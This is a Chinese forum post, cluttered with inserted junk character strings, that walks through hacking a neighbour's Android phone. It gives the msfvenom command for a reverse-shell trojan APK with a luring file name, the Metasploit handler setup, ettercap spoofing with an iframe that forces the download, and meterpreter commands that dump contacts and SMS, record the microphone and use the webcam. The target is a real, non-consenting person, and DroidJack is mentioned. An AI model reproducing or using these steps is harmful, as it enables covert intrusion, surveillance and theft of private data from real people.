|
2 F* k* X& M1 a- t6 l r
五、msf+ettercap入侵邻居安卓手机
+ E; A( }+ A* J+ h* K0 l& } 6 n/ f! s" D3 x+ r& z1 g0 t6 ?* s
* ?/ i% H k$ C" L 首先启动msf ) W, `) A5 w8 K# _% a/ m8 E
- Q: M" y6 n$ w( T O a, {1 G
5 G% I' `' B( a2 s! C4 W$ k9 C
先用kali生成一个安卓木马，如下命令： ! d. I& i/ c5 ^# x% q5 P
5 {. D5 P8 m+ K# k' D! X
3 p/ b# ^, t! G: n4 C Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
6 P2 Z- x# n8 D+ ]7 f( G # \- m" o: H7 d# t# C+ @6 E( s
7 B. p0 P# j- M- L) `, G% t
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 - i! p' g# _1 [& K# t
% V+ c# x, A' I- o1 L+ n1 ^
3 ^; A6 y3 h( v. _0 @/ p. G; x* K 然后进入msf
7 V' ~. z, A' i, t + ^6 W' `$ b7 m' T
9 h; @' C" g+ A
use exploit/multi/handler
4 M R+ _) `) @. T" s i+ j8 N: K2 {5 }! A- }4 I% H
- Q* \9 y8 L5 k4 Q3 O& T; n set payload android/meterpreter/reverse_tcp
! w& a- q8 K8 E1 ] @! i' ]. Q
8 _( G5 q; g t. I8 j8 F4 i) E5 S" n* y9 ~: G0 m& |
set LHOST 192.168.0.109 //ip为kaili的ip
; A* N8 C2 Z8 m! F" Q1 w- S# s b
) V) Z, ^0 ]0 v7 f& x
$ z( }, R6 W; S" Y0 U/ P set LPORT 44444 //端口一定要与前面生成的木马的端口一致 $ N- f. k: y4 |7 u( L @! a
1 h$ j2 n( z+ q/ ?. b* @
; Q* f5 e1 L3 W4 r6 D8 b3 h7 e% A Exploit
3 u9 D" M5 U0 O( W& @. G! o / d, Z& [) i0 \+ f" U
* b$ R+ }) x1 e; k5 L 
, _2 }! |; h, I A" T! U' b
2 R$ `* M6 Y" \0 y3 m2 E/ k: H4 ^) A' i
下面我们开启ettercap -G
2 h, G/ J: a! }/ @# e- n1 P: M) q
% b% Z) L: t& A8 T. c) U. d; i) [' I" Z5 M
我物理IP为
$ [) `. Q8 l8 M8 J2 g" |- [ # p* D- @3 ]" p# d/ j( F1 q
' A! T" a$ ~% ~1 g0 e 
! B: m1 |6 A* B * h' L! |, |- j- W
) d3 c! C; e, H
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
" h( u" {% H7 C" } & X; F) C1 R& K1 u9 @) k4 j
% e3 p7 ^* q3 p+ `% t8 H" [ 下面我们来设置一下
) j; L/ P! B5 ?
) s/ U/ }* |5 x& j
4 v, ?# f- Q; `5 l/ l1 d  ) W2 Y# @; K) W+ U% I6 \: O6 V5 q
q5 T6 i$ h; D! y
1 X8 S: a" w- Z. J J+ J 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
1 D: Q% A/ G% Z( P# }* R! f) {. W 1 o7 {* C" t$ M8 r; J7 R5 B
& ?) i% W: I. B
# |* S) Q) o; m9 c, v# s3 w
4 o8 R& Y9 h& `# n* \+ g& H3 B& z$ v' ?$ {+ u
 2 u8 R! I& m% d/ h: R8 W, h
2 r9 n# s$ ]% o* E& d/ t
7 V' i+ @, @$ h1 P & t( ?) O( G! N }; m
, P! J& q3 I/ |6 K. ^& T& d. [* I2 q1 m0 E- c- @4 q
/ ~% w4 V/ _- X1 F
' R! C5 t: [; P j! c. x% u! Q4 B- E) C7 ~7 `
* @5 O6 }" f- ^9 [
6 Q& T8 N/ W$ f7 a3 l4 [: m2 D+ l3 f4 }
# M7 p+ R8 K L* b5 j
8 P" d3 I# _# J8 }
% G1 W; |: w) k- g3 E6 d+ p6 s1 ^ 7 W" V4 [0 c q6 o3 b8 r
$ E; V( w, _! }& B# b' a+ }
, d' k# ` V% q& H
# x* Y2 g; W/ O2 k* t% r
$ K5 p! U- z5 Z3 N9 E8 c6 B; t5 R2 @* s* Z0 u& A
* Q+ F9 c( ]3 F" @0 r' Z% e2 x
& e5 @, z' \4 _& S5 C3 |9 Q0 B$ K7 |6 E/ |, l- J& w4 p
4 t, [5 L$ M5 a" \
7 M9 g( c* H7 E" ]9 ?
; S0 s8 T. `: b9 R7 @ # N. w! r2 m, a5 ?7 z* L% Y9 q
" ?3 b* H* D" d$ ?7 b5 \
5 Y% O O) q9 c0 M" ^# n
- _+ U+ c& L% a: g' ~4 d3 _# S
C6 E+ k/ ~0 ]' M8 b. y4 ^$ O! o2 C& `1 @5 W. X) [/ r$ r
3 }5 E$ M; P" F- q7 J 6 X8 B8 e5 T$ e" \# { o$ h
p! J+ T# |+ l9 ~) J 下面我们开始攻击 % G7 q* [8 e; {* I1 |
; d7 H! I s- G/ l
" ]4 c3 g- o" R/ i" c ~3 B4 ~3 H 3 P1 y# A+ M* o5 Q& Q
' q" a" x, b3 @1 I
6 f% d3 X: v4 w7 n ^, i+ Z
6 K& u$ T) M$ o8 f5 u ) b; j! m6 r; x6 b
2 A3 Y8 u( m8 p ! v! S8 J- \8 ]# _9 _: {% Z: F6 w% \8 K
& h. e% z5 o. h" k) U* p
0 i! R' V/ K4 C- {! k" W
2 K8 N T( {# M ) a9 y5 L9 G# D0 K& B( A
* K( X5 d7 }, o3 P) z 
+ a& A3 d# U$ D4 F% b% u6 a " ]' d. \, e" Z3 R3 ]# \
: y& P. [- H0 ]) T
大概过了5分钟多，发现反弹成功了
) S2 u- p0 }, X8 r% B# s+ d- \ - p# H3 W3 l7 C5 o( F3 v# G, m2 E
- o: t& J; O9 e+ x) r- a
6 `8 c- ~ @/ _, \ ~/ r. z2 m
# p8 ]9 F* ]- e7 P8 C X* S. `5 m* y8 A; _
3 ]; K7 G! n% G
+ P# W( d# W' a1 ~4 T% v
9 y/ }5 ?8 v B! {% D7 q
- L6 E r4 O- v " I, x4 r. _, g/ B+ {
" J) ]9 a8 }5 H- b% @4 x 0 |& s: ?9 d5 `" {$ g- M% X
" [2 {1 I: s+ E' w' {7 W
% }% G2 b5 ]5 D0 B % @; Y2 T# t2 J8 t
; U% P4 P( S( q# w
: v& M# ]6 [7 w6 r' x$ Q
7 [9 ~4 ^5 U1 m O( Y' l% J
- j! m/ D1 C f. H8 y
b, B! V+ k) g& C( a' z( ]& W  - s+ K: a0 {9 u" J+ V& `0 o
8 M3 B: f' C. m" f; K- U2 h d" V1 t* g! P. y4 ~2 `/ T
执行命令
! x! b, {: X% Z' t( J
) |& O" ] `3 O" H9 L' U$ g/ A7 S/ Z* Z" T( @- {
$ c; d4 }1 f' T/ m+ U7 ]% f! u( Z9 B
% t* N+ b& \) d5 R8 h1 Y5 n0 Y1 `9 L0 Z' \$ Q3 O5 j$ Y
dump_contacts --》这个是导出电话
4 t6 n6 U' h. i 9 x& g) x6 i) L% m% ?/ Z& a
0 y. B: ?0 K: c+ K
dump_sms --》这个是导出信息 3 S6 v/ @0 E) K) X; ]) A
5 j- [8 {: n* F) f
* G a- W( Y& Q( u T
record_mic Record audio from the default microphone for X seconds . I( @' J! s/ N8 g3 f5 C
% D% H) |$ ?) ?' A; A4 k6 b/ y' n; m: x# G9 O4 k+ O& m# W) l! d U- z
webcam_chat Start a video chat
0 w4 N W# w! o3 i " z; z$ A R+ J4 |! f
; |. o! ^" k, ]4 V
webcam_list List webcams
, s5 e1 [6 |4 E2 b1 U 4 U1 b9 r3 W7 K1 B4 m. Z l: e
/ O. _% d: i3 B& O! b; G3 F7 k. m* f( r
webcam_snap Take a snapshot from the specified webcam
5 ]- r K. [0 V. r& k' Y7 n % A ]: M6 u P" \- p
- P/ x% i" I: [& p webcam_stream  lay a video stream from the specified webcam 6 _ ?4 q+ O& q! k( s9 @& f. w4 U
3 Q0 @$ O4 j, B9 }. {# @
' m" k. l$ x) l- Q/ ^5 u 
6 Y. m! o6 ~. i$ {/ ~ ) U0 u' U0 Y9 o$ O5 t
# M) O8 s8 y& P' m4 ^4 u' d N5 n8 p 
) b- F! U- h" ~! }/ r * W/ H6 O4 _/ A. \' V& c- c( l
) n" j2 D, z0 L* G' A* X
我们打开看一下电话薄，
' R+ P( L, ]7 p5 v" \" n7 i& t3 N+ P 4 V1 Y5 Q: |9 r8 g' e Y1 `1 U
- a6 K/ X) y8 b1 N& T) U2 ?
t: ]9 K/ J) h$ k* n
0 z/ @; X, U% M
# B, |- O! j& Y 
( ] k* ~; c9 S4 o+ R2 t 1 i( }! T0 x( d
* ^. r, `2 [' W S0 \* H. p
7 e3 G( G9 S' ~ % l0 Q! n8 l, v$ Q& V
3 F. T( A* [5 u2 w' X$ c  / R5 S$ y% G4 s( ] i
8 }$ t/ }7 @: u* J* b# e9 j( ]
* y1 b3 C) v8 d% h 
8 o1 s+ N( z8 W w7 U8 R - \* o8 e: w# f7 {# n$ ]
- m/ p7 K9 B7 Y/ [7 S' n ) P9 v- ]( i& n/ X9 t
' s4 x5 s# [" D% t" ?# }3 \& B$ y2 c7 {. o: q& o
我们同时欺骗成DroidJack木马，使用方法如图： 4 o3 g2 {( o/ @ |" ^* M
% ]9 h" X3 \2 Z+ c- o. U9 t" c d1 D5 e5 o" S& |
 / s2 {" E$ Q5 Z0 _* e! V6 M
# d8 ^6 D, F8 W# M' ^# \( S
T- s' O" _* t. d5 k" r7 p5 v$ r
: j1 { s( k+ A6 J3 x4 Z
$ e: X$ ^ G Z# v1 s
+ S$ J& v. m# p 
* F" P. \+ x" X% w5 ? ?
! R7 E; N$ M) i6 F j3 i) E# X* ~. C9 W* J4 F; F0 o) |9 k) R! q+ ?( E
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 3 N. p3 m/ s v! g5 q
$ q4 B7 n2 V2 S0 [9 F2 W
. z( R% E5 W* D) a9 ]2 ?: G4 j
' u- p9 |3 Z7 v 9 `/ T5 A& C) T2 d7 o5 {
, P. b! ^ I. z. P" M9 ^9 x 
' `' F& {! m) ?; D1 g; J $ a# g" G1 f# t) ^: L$ Q$ k
7 S' R3 u" M& o2 _6 s; Z5 B4 y2 L
 6 b5 u/ t# V6 I; D1 Q$ A
$ W9 Z, O g2 ~, b. f; t
$ R) `; Q# Z% I( X; N   6 h! k+ z1 f; p' ~, r( _4 d' D
& g1 v; g" Q$ i9 W( N) a, H
5 X9 y; p4 \ g/ Q7 m- H& k
@1 V" X* x5 U0 G
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对